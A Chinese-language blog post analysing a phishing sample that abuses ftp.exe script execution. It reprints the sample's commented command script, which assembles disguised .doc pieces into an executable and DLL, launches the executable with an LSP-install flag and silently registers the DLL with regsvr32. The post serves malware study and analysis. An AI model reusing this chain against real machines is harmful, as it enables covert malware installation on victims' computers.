01 引言

吾爱上看到一篇病毒分析文章,初步看了一眼像是FTP执行LNK的方式,早在2022年甚至更早就公开的技术了,好像24年HVV期间用来社工钓鱼还火过一阵,借着这个机会学习记录一下
原文地址:https://www.52pojie.cn/thread-2054571-1-1.html

02 正文

FTP的交互式命令行中,可以通过!的方式执行命令,如下图
image
还有一个命令行选项-s,可以批量执行某个文件中的命令,如下图
image

下面是钓鱼样本中的部分命令,在注释中有详细解释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# copy /Y                       目的路径有同名文件时,不提示直接覆盖
# "_\_\_\_\_\_\_\_\doc\*.*" 恶意攻击者刻意构造的多级目录,每级目录的名字都为_
# >nul 正常copy一个文件,cmd会有输出,移动了哪些文件,此命令屏蔽这些输出
!call copy /Y "_\_\_\_\_\_\_\_\doc\*.*" "_\" >nul

# 以最大化窗口用文件资源管理器打开目录_
!call start /max explorer _

# 创建目录C:\Users\Public\Update
!call mkdir C:\Users\Public\Update >nul

# 拷贝多级目录下的header.doc到C:\Users\Public\Update下,并重命名为header
!call copy /Y _\_\_\_\_\_\_\_\_rels\header.doc C:\Users\Public\Update\header >nul

# 拷贝多级目录下的sc.doc到C:\Users\Public\Update下,并重命名为sc
!call copy /Y _\_\_\_\_\_\_\_\_rels\sc.doc C:\Users\Public\Update\sc >nul

# %time%是cmd内置的一个环境变量,echo后输出的是17:52:38.46这种形式,其中%TIME:~4,1%表示取索引4(第5个字符)开始的1个字符,也就是2,如果是%TIME:~3,2%就是取52
# 因为没有完整的样本,猜测病毒作者前面已经将%TIME%复制给一个变量,否则调用%TIME:~4,1%取的值是不固定的
!call copy /Y _\_\_\_\_\_\_\_\_rels\%TIME:~4,1%.doc C:\Users\Public\Update\shell32 >nul

# %random%是cmd内置的一个环境变量,随机生成一个0-32767之间的整数,包含0和32767
# 随机生成一个0-32767之间的整数,追加到shell32中
!call echo %RANDOM%>>C:\Users\Public\Update\shell32 >nul

# copy /b 表示拷贝一个二进制文件
# copy在合并多个文件时使用连接符+,本条命令中,连接header和shell32后,重命名为(例如)360.3
!call copy /Y /b C:\Users\Public\Update\header+C:\Users\Public\Update\shell32 C:\Users\Public\Update\360.%TIME:~4,1% >nul

# 合并header和WindowsSecurity.doc,并重命名为(例如)4.exe
!call copy /Y /b C:\Users\Public\Update\header+_\_\_\_\_\_\_\_\_rels\WindowsSecurity.doc C:\Users\Public\Update\%TIME:~3,1%.exe >nul

# 因为没有完整的样本,猜测病毒作者前面已经将%TIME%复制给一个变量,否则每次调用%TIME:~3,1%取的值是变动的
# 调用4.exe -InstallLsp 360.3
!call start C:\Users\Public\Update\%TIME:~3,1%.exe -InstallLsp C:\Users\Public\Update\360.%TIME:~4,1% >nul

# 如果不存在WinVer.dll的话,将header.doc和WinVer.doc合并后重命名为WinVer.dll
# regsvr32通常用来注册dll,注册后系统可以使用dll中的函数,这里用regsvr32静默注册WinVer.dll,静默的意思是成功或失败都没有提示
!IF NOT EXIST C:\Users\Public\WinVer.dll (copy /Y /b _\_\_\_\_\_\_\_\_rels\header.doc+_\_\_\_\_\_\_\_\_rels\WinVer.doc C:\Users\Public\WinVer.dll && regsvr32 /s C:\Users\Public\WinVer.dll)

# ftp下的退出命令
quit

AI查询下-InstallLsp,一般是Windows下第三方开发的流量类工具会用到此参数,猜测利用白加黑技术,4.exe是白exe,360.3是黑dll,后续就是常规的解密shellcode、执行shellcode,可以在x64dbg中对常见危险函数下断点,然后dump内存,由于没有样本无法进行进一步分析